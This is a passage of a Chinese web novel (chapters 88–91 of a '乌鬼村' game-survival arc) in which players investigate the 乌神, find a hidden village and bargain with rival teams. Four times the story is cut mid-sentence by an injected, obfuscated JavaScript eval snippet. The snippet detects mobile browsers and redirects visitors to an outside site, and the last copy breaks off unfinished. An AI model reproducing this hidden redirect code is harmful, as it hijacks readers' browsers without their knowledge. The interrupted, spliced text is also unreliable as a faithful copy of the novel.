“大哥大姐不见的那天晚上,我看到了……我看到乌神大人从他们的房间出来!” 郝荨:“你看见了乌神?祂什么样?” 安娃儿皱皱鼻子:“笨死了,乌神就跟乌金一个样啊!乌金都是乌神的后代,怎么会有区别!” “难不成还是三头六臂?”安娃儿老成在在,“你们电视看多了吧,那些都是假的!” 郝荨:…… 你一个虚幻的游戏NPC还好意思说那是假的! “乌神就比普通乌金大了一点而已,祂是跟雾一起来的,来的时候温度很低,我被冻醒了——” 他陷入回忆中,那正好是一年一度的乌神节期间,村子里连续下了好多天的雨,直到乌神节到来都没有完全停止。 雨滴淅淅沥沥,连空气都觉得粘稠。 安娃家不大,爸妈出山去了,家里没钱,山里晚上又冷,他们只能盖着许多年前的破棉被取暖,兄妹三人感情很好,安娃睡在大哥大姐中间,只隔了个帘子而已。 本来睡得好好的,可那天不知为何,天出奇的冷,甚至比下雪的冬天还要冷。 他被冻醒了,更难以言说的是一股尿意。 安娃儿哆嗦着爬起,小跑到院子后头的旱厕里尿尿。 “呼——” 他揉了揉眼睛,却听到一阵格外沉重的脚步声从门外略过。 这么晚了,是谁来了? 安娃儿凑到木门的缝隙里往外看,却只看到一片黑暗,他的眼珠滚动了几下,咦? 怎么什么都没有? 他系好裤腰带,正要推门,却发现门被死死卡住一动不动。 门坏了吗? 不要啊!安娃急了,他不想关在旱厕关一夜啊!那也太丢人了! 他拼命推了几下,然后,门忽然“嘎吱”一声开了。 多日不见的月光洒下,他看见了。 那是一只如山般高大的乌金,纯黑色的皮毛在光亮下泛着朦胧的光。 乌金冰冷的双目从他身上扫过,一团又一团的小乌金从祂厚实的毛发中钻出脑袋,还有几只跟在祂的身后打打闹闹。 那一定就是乌神大人。 安娃眼睛亮起:“乌神大人!” 他跌跌撞撞地跟在祂的身后,乌神没有停下脚步,更没有回过头,就像他跟这山中的露水、花草一样,只是平平常常的东西。 不知道过了多久,周边的白色雾气颜色逐渐变得血红,乌神的脚步也慢慢变缓…… “哐当、哐当。” 祂身上的皮毛开始脱落,铁链从祂的脖颈处生出,打在地上发出吵闹的金属刮碰声。 乌神大人喘着粗气,来到了一处废弃村落中。 “等等,”郝荨眉头一皱,“这山里还有别的村子?” 安娃摇头:“不知道,我长这么大除了你们,从没在山里见过其他人。” 他继续说起那天晚上的故事。 乌神似乎坚持不下去了,他“砰”的一声重重砸在村里,沉重的身体一连压塌了三座屋子,那些房子和乌鬼村的很像,都是再普通不过的土房,唯一的区别,就是那个村子里没人。 安娃躲在村口的土墙后,小心探着脑袋看去,却看见了他此生难忘的可怖场景—— 乌神大人……竟然在吃乌金! 祂的眼珠像是流沙一样瞬间风化流落在地,一朵鬼火从祂黑洞洞的眼眶中冒出,祂张开大嘴,无数躲闪不及的小乌金嘶鸣着落入祂口中。 恐怖的咀嚼声不断传进安娃的耳朵,他吓傻了。 安娃呆愣在原地,眼睁睁看着乌神将没跑掉的乌金吃个精光。 可诡异的是,乌神大人吃得越多,祂的身体就风化得越快,很快,祂的身体就全部风化干裂,堆成了一座干涸的山包。 一时间,地动山摇,安娃终于从呆傻中醒来,他连滚带爬地跑回家。 “我到家时发现,大哥大姐不见了。” 方柚柚提出其他可能性:“兴许是他们趁你睡觉跑了?” “也可能……他们发现你不见,去找你了?”茶茶也小声开口。 “绝对不可能!” 安娃气愤道:“一定是乌神把他们带走了!” “我大姐特别细心,要是她和大哥都不在家,一定会给我留记号的!可是那天我回去,家里就跟我离开时候一模一样,被子也好好地盖在原地,只有人不见了,这不是乌神干的还能是谁干的?!” 他说得也有道理,郝荨若有所思。 这种封闭的小村落比起城市来要团结得多,消息也传得格外快,如果真是小孩不见,哪怕不特意告知,其他人也会在半小时之内就全部知道。 可据安娃所说,那天周围的邻居们完全没有动静。 确实有些奇怪。 “所以,你是觉得乌神发疯了,怕我们出事才想让我们快点离开?” 安娃低下头,含糊不清道:“……随你怎么想。” “可照你所说,乌神不是已经风化变成山了吗?” “不止一个乌神!”安娃骤然抬头,“好多,好多个!” 方柚柚想起什么:“我上山的时候也看见了,有一只很大的乌金撞倒了棵树,听到动静我就换了个方向,这才没有和它碰到。” “两个,”霍格开口,“一个红眼一个蓝眼。” 山上竟然有这么多大乌金,郝荨有些吃惊,这可不是什么好消息。 郝荨垂下眼帘陷入沉思,刚才安娃说的话她只信了大半,在他的口中,自己只是个失去了亲人的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14869916|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孩子,不愿再看见外乡人受伤才想要赶走他们,可有一点却说不通。 她还记得刚进入游戏时的那颗石子,要不是霍格反应及时,那石子可是真的会给她开瓢! 哪怕不提这次,就刚才,砸向余逸下巴的那枚石子还历历在目,这可实在不像他说是,只是想吓唬吓唬他们。 “我讲完了,你们什么时候走?” “不急,”郝荨摸了摸下巴,“你还记得那个村子在哪吗?” 安娃一下警惕起来:“你要做什么?……你骗我?!” “没有没有,”郝荨立刻想了个借口,“你看天色已经这么晚了,我们总不能连夜下山吧,况且,我们还答应了乌大娘要带白土给她,做人不能言而无信呀。” “既然还要在山上待一会儿,那为了避免不小心进入村子,你总得告诉我们村子在哪,我们才能避开不是吗?” 她晓之以情动之以理,但安娃非但没信,反而还步步后退,他拼命摇头:“我不听!” “卑鄙的外乡人,你们就是想骗我!” 他几步就退到了浓雾之中,身形被完全遮掩,只有声音回荡着,让人摸不清方向。 弹弓的破空声响起,郝荨下意识下蹲,躲过了那颗尖锐的石子。 石子从她头顶擦过,深深没入土壤中。 “这样不行。”霍格低声开口。 这个力道是奔着杀人来的,他们人多目标大,对方还在暗处,一不小心恐怕身上就会多出个洞来。 “走!” 郝荨瞅准石子飞来的方向往反方向跑去,急促的脚步声伴随着“咻咻”的破空声在雾中穿行。 血色雾气越来越浓,到最后,甚至连身边的同伴都看不清楚了。 一股不妙的情绪在她心中生出,突然,她睁大双眼,一根粗大的低垂树枝已经近在咫尺,躲闪不及! 郝荨被重重拍打,闷哼声从她口中溢出,视野涌现出一片雪花。 她还来不及停下脚步,脚下忽然一空—— “我——!” 坏消息:她摔下了山。 好消息:不止她一个。 片刻过后,没有感觉到多少疼痛的郝荨快速睁开发黑的眼,她的视线重新恢复,首先感知到的就是被用力架住的腰。 她缓缓低下头,只见霍格正以一个极其扭曲的艰难姿势一拖四,把几人堪堪稳住,安全落地。 被手肘抵在山壁上的余逸比了个大拇指。 “牛掰啊你!爱你哦大佬!” 法瑟瞬间松手,余逸一下没站稳,跪在了地上。 余逸:…… 他的爱就这么不受人待见吗?! 郝荨拍拍他的手臂,霍格松开手,她稳稳落地,正要跟人道谢,忽觉不对。 能看清了? 雾散了? 这里的雾气和山上的不能比,虽然能见度也不算太高,但好歹十米左右还是能勉强看清些许。 郝荨抬起头,目光定住。 离他们不远处有一片废弃村落,村落后隐约可见一处如山般高大的风化土包。 村口有块巨石,石头上刻着三个字—— ——【乌鬼村】 89. 乌鬼村10 “这里也是‘乌鬼村’?” 余逸将附着在巨石上的枯藤扯下,也不知道这字是拿什么染的,都这么久了依然鲜红如初。 看久了甚至会生出一种要滴落的感觉。 郝荨:“走,进去看看。” 这座隐藏在山谷中的“乌鬼村”格局和外头几乎完全对称,一座座小土房从村头一溜摆到村尾,除了晒谷场被压在那“乌神”下以外,就连乌大娘家的地窖也都一比一复刻。 余逸忽然看到了什么,浑身的毛瞬间炸开,往后退时还差点踩到方柚柚。 方柚柚沉默地换到了郝荨另一边。 郝荨脚步顿住:“你看见什么了?” 余逸头都不敢回,直直盯着那边,气若游丝:“有灯!” 郝荨顺着他的目光方向望去,仔细分辨了半天才看清那间屋子的窗缝里透出些许亮光。 茶茶紧紧跟在郝荨身后,半步都不敢离开,她小声道:“那边也有。” 郝荨皱起眉头,这村子看起来极为破旧,实在不像有人居住的模样,何况安娃儿也说过这是个废弃村落,怎么会有光? 难道……这里还有人居住? 霍格几步上前,快速往里看了一眼,他先是一怔,然后又快步走到了另外几间亮光的屋子。 过了几秒,他开口道:“没人。” 众人放下心来,旋即又提起了好奇心,既然没人,那这光又是什么? 郝荨推开其中一间土屋大门,这屋子比其他看起来要更小一些,痕迹倒是很新,就像是前两年还有人在这里居住似的。 刚一踏入,她就看见了这光的出处,这是一盏长明灯。 跟乌神庙里摆放的很像,灯后供着两张黑白照片,一男一女,眉宇之间有些想象。 郝荨吸吸鼻子,闻到了一股腥气。 茶茶捂住鼻子,一脸难受:“好臭。” 不知道为什么,余逸看到她就烦,他忍不住呛道:“臭就出去!” 茶茶看都没看他一眼:“玛弥姐姐,我不想一个人出去……外面好危险!” 说着,她就想伸手去拉郝荨的手臂—— “让让。” 冷淡的声线传来,紧接着就是好大一个身影从她跟前挤过,硬生生把她挤到一米开外。 霍格唯一露出的那双眼里什么都没有,只是随意而又居高临下地瞥了一眼,茶茶却下意识收回脚,摆出了左脚前右脚后的姿态。 她心头瞬时涌起危险的警报声,但她很快重新调整好状态,整个人重新从紧绷变得柔软,一切看起来都很正常,似乎刚刚那一幕只是个微不足道的小插曲而已。 方柚柚拿起长明灯,好奇地吹了吹里头的灰尘:“听说长明灯用的都是人鱼油,这里头就是吗?” “人鱼?!”余逸惊讶地接过,“吃了就能长生不老的那种人鱼吗?” “……你少看点小说,古代的人鱼油其实是鲸鱼油。”方柚柚无语,“不过这珍贵程度和人鱼油也没差什么,一般只有帝王和贵族能用。” “哦,”余逸有点嫌弃地把灯放回,“感觉也没什么特别的,跟我姥熬的猪油差不多。” 他咂咂嘴,有点饿了。 郝荨精神一震,一个猜测如电光石火般劈向她的脑子,猪油? 这乌鬼村最多的,不就是猪吗? “我记得…长明灯的作用是为亡魂照亮道路,避免他们在黑暗中迷失?” 方柚柚点头:“嗯,据说这些灯可以守护亡魂。” 郝荨想到山中那久久不散的血色迷雾:“我们一人拿上一盏——不,多拿几盏,以防万一。” 她动作很快,几分钟就拿废弃被单拼了几个背包出来。 余逸目瞪口呆,舌头都快要打结:“跟……跟死人抢东西啊?” 郝荨想起什么:“你提醒我了。” 她把扎好的包裹重新解开,飞快将那两张黑白照也放了进去。 “嗯。”她满意点头,“一家人就是要齐齐整整嘛。” 见他还不动,郝荨催促道:“快点啊!你看这都几点了,不睡觉啦!” 余逸虎躯一震,这熟悉的台词,差点他就要跪下喊妈了! 几人一人背着一个小包,正要离开,郝荨又顿住脚步,她的神色有些纠结。 方柚柚将自己的兔子也塞进背包,见她表情奇怪,疑惑问道:“怎么了?” “嗯……” 郝荨看了看已经完全黑下来的天色,又看了看就在数十米开外的“乌神”尸体。 方柚柚:“你想去看看安娃口中的乌神?” “嗯,来都来了。” 既然天已经黑了,那早回一点晚回一点也没什么区别。 反正都一样危险。 其余人也决定一起去看看,路过乌大娘“家”时,她特意进去看了一眼,那上头供着一溜黑白照,摆在最下头的是一个漂亮少女,约莫十八九岁的模样,乌黑发亮的头发,圆溜溜的大眼睛,笑得很可爱。 如果她猜得没错,这个女孩…恐怕就是乌大娘那个漂亮的小闺女了。 她放下照片,重新拿起自己带走的那盏长明灯,灯光交错,照片上的女孩忽然变了模样,她的耳朵变得肥大,皮肤变得黝黑,眼睛斜斜上翻着,幽幽地盯着郝荨,露出了一个似笑非笑的表情。 郝荨心中一动,再定睛看去时,照片上的女孩依然是那张漂亮脸蛋,笑得灿烂又可爱。 她试着放回长明灯又拿起,重复了好几次,只是刚刚那个一闪而过的画面再也没有出现。 是她的幻觉? 不可能,她暗自否定。 倒也不是因为什么老手的直觉,而是她的玩家面板上SAN值还好端端的显示着“95”的高分。 乌神尸骨化成的山包就在位于“村尾”的晒谷场,即便在黑暗中也能感觉到它的巨大,祂的身体不断绵延,形成许多沟沟壑壑,走起来有些费劲。 人类难以行走的道路却是花草树木们的温床,这座废弃的村落里生出的植物明显要比外头的乌鬼村中多得多,除开普通的杂草外,遍地都是的李子树吸引了郝荨的注意。 余逸虽然手断了,腿倒还是很好用,他单手举着长明灯,快速地绕着乌神尸骨化作的山头转了一圈, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14888128|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回来后叹了口气: “我还以为能发现那种红黑色的‘白土’呢,没想到这个所谓的乌神尸体身上也都是黄土。” 他有点郁闷,想到了过去一系列被爸妈拉着旅游去看所谓的“神猴巨石”和“真龙涧”的诈骗时刻。 这看起来就是个普通的土包包,就形状奇特了点罢了。 “那可未必。”郝荨定神望向李子树的根部,轻声开口。 “那是什么?” 方柚柚人小个子矮,新生出来的眼睛也好用,很快就发现了树根处的泥土有点不对。 那里的土块看起来斑斑点点,像是水洒在上面似的。 余逸还想上手去刨,被霍格一下扯开。 郝荨:“你都这样了,安生点吧!” 那土冻得有点干硬,不大好刨,霍格从李子树上掰了两根锋利的树枝,刨了好一会儿,方柚柚忽然叫道:“别挖了!” 红黑色的土壤在地下微微颤动着,好像一根汩汩跳动的血管,郝荨后脖一紧,一股莫名的危机感袭上心头。 几人纷纷退后,那土壤震动的频率越来越大,有什么要出来了! 郝荨呼吸急促,她推着大家就地卧倒—— “轰!” 一声爆响过后,血色雾气里弥漫着无数红黑色粉尘。 “咳咳……”郝荨咳嗽两声,抬起头来。 白土像是石油一样从地下猛地涌出,前后不过几秒,以那颗李子树为中心的土地就沾满了红黑色的土壤。 李子树没有倒下,它的枝头颤了颤,挂满了摇摇欲坠的土壤,像是一颗颗小小的李子坠满枝头。 郝荨抹了一把口鼻,将粉尘挥散。 那长明灯不知道是什么做的,这么激烈的冲击都没让它的火光动摇半分。 “白土!!!” 余逸瞠目结舌,谁能想到这玩意儿竟然长在树下面。 他转头问道:“这东西……是每棵树下都有吗?” 要都有的话,那不是发了! 霍格:“先收集这些,我们带不了那么多。” 几人跟孩子似的兴冲冲跑去摘“果子”,就连茶茶都降低了自己的存在感,跟在他们身后,只有郝荨没动,她有些想不通。 白土是乌金的饲料,可为什么没在乌神尸骨化作而成的山包上发现,反而是生长在和乌金完全不相干的李子树下? 她遗漏了什么线索? 郝荨走到最近的那颗李子树下,用脚尖提了提它裸露在外的树根,树根盘综错节,露出了下方星星点点的红棕色土壤。 她随手拾起个石头往里钻了钻,这土层不深,大约只有两三公分的样子,郝荨仔细地将最上层的黄土地堆起,露出一片深红色土层,这里果然也有白土。 郝荨轻轻伸手,然后,她微微愣住。 这白土竟然有温度? 山里的温度几乎已经零下,她的手都快被冻僵了,这土竟然摸起来还是温热的。 白土微微起伏着,摸久了她甚至产生了些许错觉—— ——这不像是在触碰土地,反而像在摸某种动物的皮肤。 90. 乌鬼村11 郝荨摸着摸着,手指忽然陷下,那红黑色的土壤将她的手指完全包裹,诡异的触感让她深感不适。 忽然,她好像摸到了什么……是一颗圆圆的小珠子。 郝荨拔出手,那土壤竟然还有些恋恋不舍,想要顺着她的手指向她手臂爬上,她连忙后退,白土这才重新平息下来。 她松了口气,这颗珠子圆滚滚的,颜色很深,和之前灵秀给她看的那颗舍利子很像,她刚要细看,忽觉奇怪—— 挖土声、吵闹声……怎么都没了? 天地一片安静,安静地就好像这里只有她一个活物。 郝荨心脏重重一跳,她慌忙抬头,却发现视线里已经没了那几人的身影! 巨大的乌神“骨架”孤独地矗立在那,只有越来越浓重的雾气在祂周身漂浮着,茂盛的李子树鬼影绰绰,张牙舞爪着。 她的视线一下子模糊起来,头也昏昏沉沉,视野全黑前,郝荨只来得及将珠子攥紧塞进口袋,紧接着,就是突如其来的黑暗。 …… “……找到了……” “……可怜……吃……胖点好……” “……好……乱跑……看住他……” 好吵。 郝荨嘟囔了一句,拽着枕头捂住耳朵。 不对! 她猛地睁开眼,天怎么亮了?! 窗外几个人影见她醒来,作鸟兽散,跑得飞快,还不住地喊着:“乌大娘!醒了!客人们醒了!” 没一会儿,乌大娘就擦着手走了进来。 “娃子,你们可算是醒啦!” 被吵醒的不止她一个,霍格余逸方柚柚有一个算一个,全一骨碌从炕上爬起,一时间大家都没搞清楚发生了什么。 余逸睡得有些懵:“我做梦了?” 说话间,他抬起手想要挠头,却狠狠“嘶”了一声。 好痛! 左手软趴趴地垂落着,那不是梦啊! 郝荨摩挲着那颗圆珠子,望向乌大娘的视线有些试探:“大娘,我们这是怎么了?” 提到这,大娘一下子来劲了。 “唉哟,我可真没想到,乌神这么喜欢你们,还请你们去做客!” 余逸:“啊?做客?” 什么客,断手的那种客吗? 大娘一副与有荣焉的样子:“对啊,怎么样,乌神是不是特别和善,祂还送了你们那么多白土呢!看来,这届的乌神,就要从我们这儿诞生了!” 乌大娘兴奋地脸都红了,见郝荨要下床,连忙阻止道:“别下别下,饿了的话大娘给你们拿吃的!” 她手脚麻利地取回了两个盆,一个盆里装满了饼,另一个盆里是好喝的小米粥。 “你们呀好好休息,吃饱了就再好好睡一觉,今儿晚上就第一轮乌金大选啦,可热闹了!” 大娘拿着空空如也的盆,雄赳赳气昂昂出去了。 半晌,她又突然探进脑袋:“对了,那些白土我都拿去喂乌金了,你们放心,它长得可大了,我在这村子里这么久,还从没见过这么大的!你们一定能赢!” “啊?”余逸吓了一跳,他包里可还有从“乌鬼村”借的长明灯呢! 他们三个的包整整齐齐地放在他们床头,余逸连忙打开,白土倒是全没了,也不知道大娘怎么做到的,一丁点白土痕迹都看不见,只有那盏熄灭的长明灯孤零零待在里头。 “姐、你…我……这——” 他结结巴巴的,乌大娘一挥手:“我可没偷东西啊,你们那包里头除了白土也没别的了,要是没了啥肯定是你们自个儿弄丢了,不关大娘事啊!” “姐……”你看不见吗? 余逸和方柚柚对视一眼,彼此眼中都很惊讶。 而郝荨的包或许是还没来得及装白土的缘故,乌大娘没有动过,还好好的被她抱在怀里。 也幸好乌大娘没动,她的包里可不止有长明灯,还有那些长明灯主人的黑白遗像! 她将照片放好,又掏出那颗舍利子仔细瞧查看,突然,系统声响起: 【恭喜玩家获得副本限定道具:乌神尸骨·残】 【乌神尸骨·残:陨落的神明哪怕只剩尸骨也有奇特的作用。】 【说明:你很幸运,获得的是唯一的残片版本,当进度条完成时,将会有奇迹发生。】 【砰!砰!砰!】 郝荨眼前突然炸开三朵烟花,一个分外眼熟的界面弹了出来: 【好消息!好消息!】 【你离获得“真·乌神尸骨”仅差五次抽奖!一枚乌神尸骨可获得一次抽奖!】 【恭喜你!检测到玩家第一次进入“乌鬼村”副本,现免费赠送玩家一次抽奖机会!】 【是否现在抽奖?】 一个大大的红色转盘浮现,郝荨盯着它看了整整三分钟,骂了一句脏话。 并夕夕你真是出息了,连神明都抄你作业! 她边骂边诚实地点击抽奖—— 【恭喜玩家!】 【您已获得神明的奖励!距离合成“真·乌神尸骨”只差1%进度!】 【检测到您的队友也是第一次进入“乌鬼村”副本,是否邀请他们抽取?】 郝荨深吸一口气,点击了邀请。 在其余三个队友的“倾情加入”下,这枚乌神尸骨·残的进度条已经到达了99。99%。 余逸已经上头了:“荨姐!就差一次了!一次!!!” 他迫不及待地穿上鞋,就要兴冲冲去找其他的乌神尸骨来兑换抽奖次数,郝荨甚至来不及阻止这个年轻人。 他冲出门去,跟急匆匆来找人的阿卜撞了个正着。 面对阿卜疑问的眼神,郝荨没有多做解释:“你怎么过来了?” “哦我、我看你们昨天没回来,还以为你们出事了!” 天知道她昨天有多慌乱! 要是玛弥这个团队折了,他们的合作计划还没开始就得打出GG,本来好端端的三方混战一下就变成了3V4大劣势! 就连一向冷静的郑哥昨天都有些不在状态,更何况她这个小菜鸡。 幸好他们没事。 “你们昨天去哪了?” 郝荨笑了笑,没有说话。 阿卜这才想起这场游戏是PVP,这样问不太礼貌,她刚想找补,却被郝荨打了一个措手不及。 “想知道吗?拿这个换。” 她圈起手指,比了个“OK”的手势,阿卜先是一愣,然后想起什么,脸色有些尴尬。 “这个…这个不在我这里……” 哦? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14903584|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们果然也有。 郝荨没有步步紧逼,她稍稍松了些口:“我们昨天去山上转了转而已,还碰到了另外那组,你们呢?” 阿卜心里咯噔一声,他们两组都去山里了? 山里的线索难道很重要? 不行,这事要快点告诉郑哥! “我、我们昨天在村子里跟老人聊了聊,我、我想起来有点事,马上回来!” 说完,阿卜就急急忙忙冲了出去。 方柚柚伸了个懒腰:“她到底来干嘛的?怎么又跑了?” 她还不太懂这里头的机锋,只感觉两个人都在说废话,什么信息都没透,对方莫名其妙来,又莫名其妙走。 郝荨正在给她梳打结的头发,闻言笑了笑:“回去找能做主的大人了吧。” * “郑哥!郑哥不好了!” 郑哥一口气没上来,差点真的大事不好。 他咳嗽了两下:“女孩子家家别总是大惊小怪的,要荣辱不惊,知道吗?” 阿卜一下冲进他们休息的屋子,他们住的是村里最好的一间房,也就是村长爷爷的屋子,郑哥这会儿正在院子里头喝茶,神情惬意。 见阿卜跑得头发都乱了,被自己说了之后又一幅唯唯诺诺的模样,郑哥眉宇间透出些不悦: “告诉你多少次了,冷静冷静!游戏里最重要的就是冷静!你怎么这么久了还是学不会?我告诉你,像你这样,既不温柔也不大方,遇到点屁大的小事还慌慌张张的,在现实里是嫁不出去的。” 他一副老父亲教导女儿的模样,恨铁不成钢道。 阿卜有些不舒服,但又不不知道哪里不舒服。 “行了,让我听听到底是什么事?你不是去跟他们谈今晚的合作吗?” 阿卜强迫自己忽视这些不适,她紧张开口:“郑哥,我们昨天不是一天都没在村里碰到玛弥他们吗?他们是上山去了!还说……还说灵秀他们也上山了!” 郑哥手里的水杯微微一颤,他喉结滚动两下,缓缓放下茶杯:“就这?” 仔细听去,他的嗓音竟然有些发干。 见对方不在意,阿卜急得头发都要竖起来:“早知道我们昨天也上山了,虽然村长说山上危险,九死一生,但迷雾游戏哪有不危险的呢?” 他们昨天在村子里逛了一天,打听了许多消息,虽然阿卜还分不清哪些有用哪些没用,但看郑哥的表情,应该还是有不少有用的消息。 至少,那种圆滚滚像麦丽素的一样的珠子他们现在手上就有三颗,全是从村民那里发现的。 具体的作用郑哥也没跟她细说,只说这场游戏稳了!可阿卜听到另外两组都上山的消息还是有些坐不住。 “郑哥,你说……他们会不会找到白土了?” 这是阿卜最担心的事,他们目前只从村民手中用一些“小手段”取得了一些白土,分量不多,万一他们两个团队都找到了大量白土,那他们不是直接被宣判出局了?! 阿卜吞了口口水:“您说,我们要不要——取消这次合作?” 郑哥重新给自己倒了杯水,水汽遮掩住他唇角的微笑:“放心,一切都在我掌握之中,去吧,合作继续推进。” “这一轮,就帮他们把乌金养大——” 越大越好。 91. 乌鬼村12 “园长,她真的回来了!”方柚柚趴在窗台上,惊奇地喊道。 不远处那小跑而来的,不正是阿卜吗? “嗯。” 郝荨整理了下衣服,他们三人刚刚已经去了一趟地窖,郝荨简直不敢相信那是之前选中他们的那只小乌金。 昨天它还是个巴掌大的mini小猪,今天就变成了一只满脸狰狞足足有四百多斤的大猪! 不过这也让她对晚上的比拼多了些信心。 阿卜在门外徘徊片刻,然后鼓起勇气走了进来: “我们…咳,”她清清嗓子,故作老练道,“我们来谈谈晚上的计划吧。” 郝荨不禁感叹,原来在大人眼里,小孩心虚的神色这么明显。 方柚柚:…… 你也才毕业不久吧! 郝荨:“你们有什么计划?说来听听。” 阿卜摆正神色,认真道:“你们的乌金现在多重?我需要知道确切的数字,才能帮助你们获得第一。” “你知道这不可能。”郝荨断然拒绝。 开玩笑!要是他们知道了故意背刺怎么办? 可别忘了,虽然现在大家都很友好,但那是因为现在局势还不甚清晰,所有人都在保守行事,不轻易跳出来当靶子。 说到底,他们三个团队现在进行的是零和博弈,这种局面下,根本不可能有真正的盟友存在。 “你们现在的想法没变吧,还是准备帮助我们获得第一局的胜利?” 见对方问到关键处,阿卜重重叹了口气,刚刚强撑出来的精英神色消散无踪,满脸都是明天考高数却发现自己复习的是英语的丧气之感。 阿卜摇摇头,咬牙道:“说让你们赢就让你们赢。” 哪怕她作为菜鸟占卜师的第六感在疯狂报警,告诉她这样下去一定会非常危险,可郑哥不听,她也没办法。 “既然你们想法没变,那不如大家坦诚点,你们的底线是什么,又能为我们提供什么?” 郝荨想了想,补充道:“当然,我承诺,你们提供的东西我们下一轮都会还回去,如果你有什么道具或者技能的话我们可以立契约。” 阿卜很想赞同,但他们确实也没有类似的技能和道具。 “不必,我相信你。” 她沉默两秒,又接着说:“我们打听了一下灵秀他们团队的乌金情况,不是很妙。” “哦?他们的乌金长得很大?” 郝荨面上不动声色,头脑快速转动,他们昨天和灵秀他们组碰面时,对方身上没有背包,看茶茶的神色也不像是在演,他们当时应该确实不知道白土在哪。 中途两边走散后,看灵秀他们跑路的方向,多半也会如此巧合的就这么绕过整座山,发现山中的“乌鬼村”,也就是说,他们手上的白土应该就是茶茶带回去的那一批。 除非他们后半夜顶着黑夜和找不到路的危险带着茶茶重新上山。 郝荨微微摇头,这几率实在不大,游戏刚开始,这才第一轮,完全没有必要冒如此大的风险, 这样看来,灵秀团队的乌金靠的应该是乌神尸骨,也就是那些像麦丽素的舍利子。 正想着,她的面前突然出现一个小罐。 阿卜拿着罐子的手微微颤抖,很是不情愿道:“以防万一,我们会在比赛开始前,将这些白土喂给你们的乌金。” 郝荨伸手要去接,阿卜却一下收回。 她强调道:“我们喂。” 方柚柚不解:“你给我们,我们也肯定会喂给自己的乌金呀,这有什么区别?” 阿卜支支吾吾,郝荨替她开口:“你是怕我们留着等以后再喂?” 方柚柚恍然大悟:“哦,你们害怕我们留一手,不止加大了这一轮获得第一的风险,还可能在后两轮背刺你们?” 阿卜低下头,轻轻“嗯”了一声。 郝荨思索片刻:“这样吧,你将这些白土交给我们,我们拿这个抵押。” 她从包里掏出一盏长明灯递过去。 “一轮结束,等你们确定了我们确实获得了第一,并且也使用了你们提供的白土后,将这盏灯还我。” “这是什么!” 阿卜心跳如雷,她明明没见过这盏灯,脑子里却有一个声音在拼命大喊“拿到它!”“你需要它!”。 她下意识捂住胸口,使用了自己的天赋技能—— 【玩家使用天赋技能:诚实的水晶球】 一枚闪着光的紫色水晶球凭空浮现在她面前,无数星辰在球中流转,错综复杂的命运如丝线般缠绕着,迷雾散开,露出了她自己的脸。 【请说出你想要占卜的问题。】 ‘我想知道,这灯对我来说是不是很重要?’ 水晶球射出光线,隐隐有一张卡牌在里面浮现。 【答案:是。】 “好!” 这次阿卜回答的很干脆,哪怕她的技能只有一半准确度,她也依然决定在此刻相信自己的直觉。 她想要它。 两人一手交灯一手交土,很快就打成了合作。 阿卜走后,方柚柚有些担心:“你就把这个关键道具给出去了?我们怎么办?” 郝荨打开罐子看了看,惊讶发现里面竟然有大半罐白土。 这么多? 她皱了皱眉,奇怪。 听到方柚柚的问题,郝荨抬了抬下巴,指向她身边的包裹。 方柚柚掀开包一看,嚯! 那里头少说还有十几盏灯!再加上这十几盏灯的主人照片,将不大的包裹塞得满满当当。 郝荨漫不经心道:“三角形虽然看起来是最稳固的形状,但有时候呢,也很容易摧毁。” 只需要一些……催化剂。 * “乌神评比开始喽!” 一连串的鞭炮声噼里啪啦地响着,点燃了整个村子的热情,大家欢天喜地地换上自己最花哨的新衣,呼朋唤友往广场赶去。 乌大娘冲进屋子,笑得合不拢嘴。 “快走快走!要展示咱们的乌金了!” 一想到今天的冠军会是自己家地窖里的那只,她就乐得不得了,恨不得挨家挨户去炫耀! 郝荨几人赶到广场,每个村民都挂着喜气洋洋的笑,只有一批人和他们格格不入,正是这些面无表情的玩家们。 郝荨左看看右看看,没有找到余逸的人,她目光迅速望向另外两支团队,将他们一一打量了一番。 茶茶朝她露出了一个羞涩的笑,换来了那个叫费扬扬的中年男人的白眼。 费扬扬实在没忍住,拉了茶茶一把。 “你非要这么茶吗?!” 茶茶可怜巴巴地低下头,想要往灵秀背后躲:“我没有呀……我生下来就是这样的,你别这么凶嘛~” 两人又吵了几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 